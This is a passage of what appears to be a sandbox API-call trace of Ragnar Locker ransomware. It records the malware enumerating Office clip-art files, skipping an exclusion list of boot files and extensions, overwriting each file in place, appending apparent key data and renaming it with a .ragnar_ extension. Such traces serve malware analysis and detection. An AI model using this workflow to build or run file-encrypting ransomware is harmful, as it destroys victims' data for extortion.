Office\\CLIPART\\PUB60COR\\J0103812.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.ragnar_FD7BD9FC" [0083.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.558] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0083.558] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.558] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0103850.WMF" | out: lpString1="J0103850.WMF") returned="J0103850.WMF" [0083.558] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned=".WMF" [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="autorun.inf") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="boot.ini") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="bootfont.bin") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="bootsect.bak") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="bootmgr") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="bootmgr.efi") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="bootmgfw.efi") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="desktop.ini") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="iconcache.db") returned 1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="ntldr") returned -1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="ntuser.dat") returned -1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="ntuser.dat.log") returned -1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="ntuser.ini") returned -1 [0083.558] lstrcmpiW (lpString1="J0103850.WMF", lpString2="thumbs.db") returned -1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.559] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0083.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.559] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23596) returned 1 [0083.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.559] GetProcessHeap () returned 0x580000 [0083.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.559] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.561] VirtualAlloc (lpAddress=0x0, dwSize=0x5c2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.561] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5c2c, lpOverlapped=0x0) returned 1 [0083.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.562] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.562] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5c2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5c2c, lpOverlapped=0x0) returned 1 [0083.562] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.562] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.563] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.563] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.563] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.563] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.563] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.563] GetProcessHeap () returned 0x580000 [0083.563] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.563] CloseHandle (hObject=0xf4) returned 1 [0083.563] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" [0083.563] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ragnar_FD7BD9FC" [0083.563] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0083.564] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.564] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105230.WMF" | out: lpString1="J0105230.WMF") returned="J0105230.WMF" [0083.564] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned=".WMF" [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="autorun.inf") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="boot.ini") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="bootfont.bin") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="bootsect.bak") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="bootmgr") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="bootmgr.efi") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="bootmgfw.efi") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="desktop.ini") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="iconcache.db") returned 1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="ntldr") returned -1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="ntuser.dat") returned -1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="ntuser.dat.log") returned -1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="ntuser.ini") returned -1 [0083.564] lstrcmpiW (lpString1="J0105230.WMF", lpString2="thumbs.db") returned -1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.564] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0083.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.565] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5172) returned 1 [0083.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x142b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.565] GetProcessHeap () returned 0x580000 [0083.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.565] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.567] VirtualAlloc (lpAddress=0x0, dwSize=0x1434, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.567] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.567] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1434, lpOverlapped=0x0) returned 1 [0083.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.568] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1434, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.568] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1434, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1434, lpOverlapped=0x0) returned 1 [0083.568] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1434, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.568] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.568] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.568] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.568] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.568] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.568] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.568] GetProcessHeap () returned 0x580000 [0083.569] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.569] CloseHandle (hObject=0xf4) returned 1 [0083.569] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" [0083.569] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ragnar_FD7BD9FC" [0083.569] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.569] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0083.569] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.569] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105232.WMF" | out: lpString1="J0105232.WMF") returned="J0105232.WMF" [0083.569] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned=".WMF" [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="autorun.inf") returned 1 [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="boot.ini") returned 1 [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="bootfont.bin") returned 1 [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="bootsect.bak") returned 1 [0083.569] lstrcmpiW (lpString1="J0105232.WMF", lpString2="bootmgr") returned 1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="bootmgr.efi") returned 1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="bootmgfw.efi") returned 1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="desktop.ini") returned 1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="iconcache.db") returned 1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="ntldr") returned -1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="ntuser.dat") returned -1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="ntuser.dat.log") returned -1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="ntuser.ini") returned -1 [0083.570] lstrcmpiW (lpString1="J0105232.WMF", lpString2="thumbs.db") returned -1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.570] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf")) returned 0x20 [0083.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.571] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5632) returned 1 [0083.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.571] GetProcessHeap () returned 0x580000 [0083.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.571] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.572] VirtualAlloc (lpAddress=0x0, dwSize=0x1600, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.573] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.573] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1600, lpOverlapped=0x0) returned 1 [0083.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.574] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1600, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.574] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1600, lpOverlapped=0x0) returned 1 [0083.574] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1600, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.574] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.574] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.574] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.574] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.574] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.574] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.574] GetProcessHeap () returned 0x580000 [0083.574] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.574] CloseHandle (hObject=0xf4) returned 1 [0083.575] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" [0083.575] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ragnar_FD7BD9FC" [0083.575] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.575] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 